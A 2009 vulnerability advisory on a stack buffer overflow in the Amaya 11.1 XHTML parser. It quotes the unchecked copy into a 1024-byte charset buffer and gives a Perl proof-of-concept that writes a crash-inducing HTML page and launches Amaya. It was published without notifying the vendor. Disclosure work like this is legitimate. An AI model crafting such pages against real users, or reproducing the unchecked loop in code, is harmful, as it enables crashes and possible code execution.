Amaya 11.1 XHTML Parser Buffer Overflow
#=cicatriz
<c1c4tr1z@xxxxxxxxxxxxxxx>=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~(advisories)=#
/) /) /)
_ _ _______(/ ________ // _ (/_ _ _____ _
(/__(_)(_)(_(_(_)(_) (/_(_(_/_) /_)_ o (_)/ (_(_/_
.-/
#=Amaya 11.1 XHTML Parser Buffer
Overflow=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~(_/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Advisory & Vulnerability
Information=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
Title: Amaya 11.1 XHTML Parser Buffer Overflow
Advisory ID: VUDO-2009-0104
Advisory URL: http://research.voodoo-labs.org/advisories/2
Date founded: 2009-03-30
Vendors contacted: N/A
Class: Buffer Overflow
Remotely Exploitable: Yes
Locally Exploitable: Yes
Exploit/PoC Available: Yes
#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Tested & Vulnerable
packages=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
[+] Amaya 11.1
[+] Amaya 11
Non tested but possible:
[*] Amaya 10
#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Solutions and
Workarounds=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
Amaya is planning to release a newer version (11.2 snapshot) [1]
#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Technical
Information=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
A stack buffer overflow have been discovered in the Amaya [1] Web Editor's
XHTML parser function:
ParseCharsetAndContentType(), wich can be used to compromise the victim's
system via arbitrary code execution.
The overflow occurs when the application process the "charset" type from a
crafted HTML page.If the charset
has a large amount of chars can lead to a stack buffer overflow and, maybe, be
exploited using printable ASCII
characters. When the application was debugged, it showed that the overflow
occurs in the function
"ParseCharsetAndContentType":
+++Amaya/amaya/XHTMLbuilder.c
68 void ParseCharsetAndContentType (Element el, Document doc)
69
70 {
71 AttributeType attrType;
72 Attribute attr;
73 ElementType elType;
74 CHARSET charset;
75 char *text, *text2, *ptrText, *str; XXX
76 char charsetname[MAX_LENGTH];
77 int length;
78 int pos, index = 0;
79
...
125
126 if (charset == UNDEFINED_CHARSET)
127 {
128 /* the charset is not already defined by the
http header */
129 str = strstr (text2, "charset=");
130 if (str)
131 {
132 pos = str - text2 + 8;
133 while (text2[pos] != SPACE &&
134 text2[pos] != TAB && text2[pos] !=
EOS)
135 charsetname[index++] = text2[pos++]; XXX
136 charsetname[index] = EOS;
137 charset = TtaGetCharset (charsetname);
138 if (charset != UNDEFINED_CHARSET)
139 TtaSetDocumentCharset (doc, charset,
FALSE);
140 }
141 }
142 TtaFreeMemory (text2);
143 }
144 }
145 }
146 TtaFreeMemory (text);
147 }
148 }
---Amaya/amaya/XHTMLbuilder.c
So, the application creates a buffer called "charsetname" with a length of 1024
bytes and then tries to fill
it with the charset type name, skipping the 8 bytes of "charset=", without
making any type of length check.
If an HTML page has something like this it might produce the overflow:
+++
<meta http-equiv="Content-Type" content="text/html;
charset="AAAAAAAAAAAAAAAAAAAAAAAA...x1922" />
---
#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Proof of
Concept=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
The following perl script creates an HTML file that reproduces the overflow:
+++amaya_poc.pl
#!/usr/bin/perl -w
# [*] Amaya 11.1 XHTML Parser Buffer Overflow POC
# [*] C1c4Tr1Z <c1c4tr1z@xxxxxxxxxxxxxxx>
## Copyright (c) 2008-2009 Voodoo Research Group.
my $filename="b0f.html";
my $b0f="\x41"x1922;
my $vulnerable=qq{
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset={b0f}">
</head>
<body>
</body>
</html>
};
#debug: "gdb -q --args \"/usr/lib/Amaya/wx/bin/amaya_bin\" ./$filename"
my $exec="/usr/lib/Amaya/wx/bin/amaya_bin ./$filename";
open(HTML, "> $filename") || die "[-] Error ($!). Exiting..\n";
$vulnerable=~s|(\{b0f\})+|$b0f|g;
print HTML $vulnerable;
close(HTML);
print "[+] File $filename created.\n";
print "[+] Setting enviroment variables..\n";
$ENV{'XLIB_SKIP_ARGB_VISUALS'}=1;
$ENV{'G_SLICE'}="always-malloc";
print "[+] Executing amaya\n";
sleep(3);
exec("clear; $exec");
---amaya_poc.pl
+++console
$ perl amaya.pl
[+] File b0f.html created.
[+] Setting enviroment variables..
[+] Executing amaya
* Amaya: Error Irrecuperable ***Segmentation fault
$
---
#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Reporting
Timeline=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
[*] 30-03-2009: Bug discovered.
[*] 01-04-2009: Advisory VUDO-2009-3003 published without notifying the
vendor.
#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=References=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
[1] Amaya Project Homepage: http://www.w3.org/Amaya/
#=cicatriz
<c1c4tr1z@xxxxxxxxxxxxxxx>=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~(advisories)=#
#=mié 01 abr 2009
ART=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#